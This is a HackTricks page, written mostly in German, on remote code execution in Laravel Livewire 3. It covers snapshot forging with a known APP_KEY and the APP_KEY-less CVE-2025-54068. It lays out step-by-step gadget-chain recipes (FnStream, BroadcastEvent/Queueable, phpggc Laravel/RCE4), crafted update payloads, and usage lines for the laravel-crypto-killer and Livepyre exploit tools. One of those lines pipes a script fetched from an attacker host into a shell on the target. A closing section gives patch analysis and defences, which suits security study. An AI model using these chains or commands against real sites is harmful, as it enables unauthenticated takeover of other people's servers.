Laravel Livewire Hydration & Synthesizer Abuse

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

Recap of the Livewire state machine

Livewire 3-Komponenten tauschen ihren Zustand über snapshots aus, die data, memo und eine Prüfsumme enthalten. Jeder POST an /livewire/update rehydriert den JSON-snapshot serverseitig und führt die in der Warteschlange befindlichen calls/updates aus.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Jeder, der APP_KEY hält (verwendet, um $hashKey abzuleiten), kann daher beliebige Snapshots fälschen, indem er den HMAC neu berechnet.

Komplexe Properties werden als synthetic tuples codiert, die von Livewire\Drawer\BaseUtils::isSyntheticTuple() erkannt werden; jedes Tuple ist [value, {"s":"<key>", ...meta}]. Der Hydration-Core delegiert jedes Tuple einfach an den in HandleComponents::$propertySynthesizers ausgewählten synth und rekursiv über die Kinder:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Dieses rekursive Design macht Livewire zu einer generic object-instantiation engine, sobald ein Angreifer entweder die Tupel-Metadaten oder irgendein verschachteltes Tupel kontrolliert, das während der Rekursion verarbeitet wird.

Synthesizers, die gadget primitives gewähren

SynthesizerVom Angreifer kontrollierbares Verhalten
CollectionSynth (clctn)Instanziiert new $meta['class']($value) nach dem Rehydrating jedes Kind-Elements. Jede Klasse mit einem array-Konstruktor kann erzeugt werden, und jedes Element kann selbst ein synthetic tuple sein.
FormObjectSynth (form)Ruft new $meta['class']($component, $path) auf und weist dann jede öffentliche property aus angreifer-kontrollierten children via $hydrateChild zu. Constructors, die zwei loosely typed Parameter akzeptieren (oder default args), reichen aus, um beliebige öffentliche properties zu erreichen.
ModelSynth (mdl)Wenn key in meta fehlt, führt es return new $class; aus und erlaubt damit die Zero-argument-Instanziierung jeder Klasse unter Angreiferkontrolle.

Da synths auf jedem verschachtelten Element $hydrateChild aufrufen, können beliebige gadget graphs durch rekursives Stapeln von Tupeln gebaut werden.

Snapshots fälschen, wenn APP_KEY bekannt ist

  1. Erfasse eine legitime /livewire/update-Request und dekodiere components[0].snapshot.
  2. Injiziere verschachtelte Tupel, die auf gadget classes verweisen, und berechne checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY) neu.
  3. Re-encode den Snapshot, lasse _token/memo unverändert und replaye die Request.

Ein minimaler proof of execution nutzt Guzzle’s FnStream und Flysystem’s ShardedPrefixPublicUrlGenerator. Ein Tupel instanziiert FnStream mit Konstruktordaten { "__toString": "phpinfo" }, das nächste instanziiert ShardedPrefixPublicUrlGenerator mit [FnStreamInstance] als $prefixes. Wenn Flysystem jedes Prefix zu string castet, ruft PHP das vom Angreifer bereitgestellte __toString callable auf und führt so jede Funktion ohne Argumente aus.

Von function calls zu vollständigem RCE

Durch die Ausnutzung von Livewires Instanziierungs-Primitiven passte Synacktiv die Laravel/RCE4-Kette von phpggc an, sodass die Hydration ein Objekt bootet, dessen öffentlicher Queueable-State Deserialization auslöst:

  1. Queueable trait – jedes Objekt mit Illuminate\Bus\Queueable exponiert öffentliches $chained und führt in dispatchNextJobInChain() unserialize(array_shift($this->chained)) aus.
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) wird via CollectionSynth / FormObjectSynth mit befülltem öffentlichem $chained instanziiert.
  3. phpggc Laravel/RCE4Adapted – der in $chained[0] gespeicherte serialized blob baut PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed auf. Signed::__invoke() ruft schließlich call_user_func_array($closure, $args) auf und ermöglicht system($cmd).
  4. Stealth termination – indem man ein zweites FnStream callable wie [new Laravel\Prompts\Terminal(), 'exit'] übergibt, endet die Request mit exit() statt mit einer lauten Exception, wodurch die HTTP-Response sauber bleibt.

Snapshots automatisieren

synacktiv/laravel-crypto-killer liefert jetzt einen livewire-Modus, der alles zusammensetzt:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Das Tool parst den erfassten Snapshot, injiziert die Gadget-Tuples, berechnet die Checksumme neu und gibt einen versandbereiten /livewire/update-Payload aus.

CVE-2025-54068 – RCE ohne APP_KEY

Laut der Vendor Advisory betrifft das Problem Livewire v3 (>= 3.0.0-beta.1 und <= 3.6.3) und ist nur in v3 vorhanden.

updates werden in den Component State nachdem die Snapshot-Checksumme validiert wurde gemerged. Wenn eine Property innerhalb des Snapshots ein synthetisches Tuple ist (oder wird), verwendet Livewire seine Meta erneut, während der attacker-controlled Update-Wert hydratisiert wird:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit-Rezept:

  1. Finde eine Livewire-Komponente mit einer untypisierten public property (z. B. public $count;).
  2. Sende ein update, das diese Property auf [] setzt. Der nächste snapshot speichert sie dann als [[], {"s": "arr"}].

Ein minimaler Type-Juggling-Flow sieht so aus:

POST /livewire/update
...
"updates": {"count": []}

Dann speichert der nächste snapshot ein Tuple, das die arr synthesizer metadata behält:

"count": [[], {"s": "arr"}]
  1. Baue ein weiteres updates-Payload, bei dem diese Property ein tief verschachteltes Array enthält, das Tuples einbettet wie [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. Während der Rekursion wertet hydrate() jedes verschachtelte Kind unabhängig aus, sodass vom Angreifer gewählte synth keys/classes akzeptiert werden, obwohl das äußere Tuple und der checksum sich nie geändert haben.
  3. Wiederverwende dieselben CollectionSynth/FormObjectSynth-Primitives, um ein Queueable gadget zu instanziieren, dessen $chained[0] den phpggc payload enthält. Livewire verarbeitet die gefälschten updates, ruft dispatchNextJobInChain() auf und erreicht system(<cmd>), ohne APP_KEY zu kennen.

Wichtige Gründe, warum das funktioniert:

  • updates sind nicht durch den snapshot checksum abgedeckt.
  • getMetaForPath() vertraut den synth metadata, die bereits für diese Property existierten, selbst wenn der Angreifer sie zuvor durch weak typing dazu gezwungen hat, ein Tuple zu werden.
  • Rekursion plus weak typing lässt jedes verschachtelte Array als ein brandneues Tuple interpretieren, sodass am Ende beliebige synth keys und beliebige classes die hydration erreichen.

Hochwertiges Pre-Auth-Target: Filament-Login-Forms

Anwendungen, die auf Livewire aufbauen, bieten oft eine noch einfachere Pre-Auth-Angriffsfläche als eine einfache public $count; Property. Zum Beispiel hydraten Filament-Login-Seiten häufig ein weakly typed $form object, das im snapshot bereits als form-Tuple serialisiert ist. Dadurch entfällt der Setup-Schritt „scalar -> array -> arr tuple“ komplett:

  • Der snapshot enthält bereits etwas wie {"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}.
  • Ein Angreifer kann updates.form direkt mit verschachtelten bösartigen Tuples senden, weil die Rekursion später Kinder wie [payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}] neu interpretiert.
  • Deshalb sind pre-auth Livewire-Entrypoints, die FormObjectSynth objects exponieren, besonders attraktiv: Sie bieten bereits sowohl Instanziierung als auch public-property assignment.

Patch-Analyse: raw metadata während der update-Rekursion beibehalten

Der Fix führt einen dedizierten hydratePropertyUpdate()-Pfad ein, sodass verschachtelte update-Werte nicht mehr generisch hydrate($child, ...) auf vom Angreifer kontrollierten Kindern aufrufen:

protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);

return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}

Security impact des Patch:

  • Nested updates werden gegen den ursprünglichen raw snapshot path neu validiert, statt frische, vom Angreifer gelieferte tuple metadata zu vertrauen.
  • Recursive hydration erlaubt es Kindern nicht mehr, s oder class mitten im Ablauf neu zu definieren.
  • Das blockiert sowohl arbitrary synthesizer switching als auch arbitrary class selection innerhalb verschachtelter update arrays.

Livepyre – end-to-end exploitation

Livepyre automatisiert sowohl den APP_KEY-less CVE als auch den signed-snapshot path:

  • Ermittelt die eingesetzte Livewire-Version durch Parsen von <script src="/livewire/livewire.js?id=HASH"> (oder ?v=HASH) und Mapping des Hashs auf verwundbare Releases.
  • Sammelt baseline snapshots, indem harmlose Aktionen wiedergegeben und components[].snapshot extrahiert werden.
  • Generiert entweder ein updates-only payload (CVE-2025-54068) oder einen gefälschten snapshot (bekannter APP_KEY) mit der phpggc chain.
  • Wenn in einem snapshot kein Parameter mit object-Typ gefunden wird, fällt Livepyre auf Brute-Forcing von Kandidaten-Parametern zurück, um eine coercible property zu erreichen.

Typische Nutzung:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check führt einen nicht-destruktiven Probe-Check aus, -F überspringt das Version-Gating, -H und -P fügen benutzerdefinierte Header oder Proxies hinzu, und --function/--param passen die vom gadget chain aufgerufene php function an.

Defensive Überlegungen

  • Upgrade auf gefixte Livewire-Builds (>= 3.6.4 gemäß dem Vendor-Bulletin) und das Vendor-Patch für CVE-2025-54068 deployen.
  • Vermeide schwach typisierte öffentliche Properties in Livewire-Komponenten; explizite skalare Typen verhindern, dass Property-Werte in Arrays/Tuples coerced werden.
  • Registriere nur die synthesizers, die du wirklich brauchst, und behandle benutzerkontrollierte Metadaten ($meta['class']) als untrusted.
  • Lehne Updates ab, die den JSON-Typ einer Property ändern (z. B. scalar -> array), sofern das nicht explizit erlaubt ist, und leite synth metadata erneut ab, statt veraltete tuples wiederzuverwenden.
  • Rotate APP_KEY umgehend nach jeder disclosure, weil dadurch offline snapshot forging möglich wird, ganz egal, wie gepatcht die code-base ist.

References

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks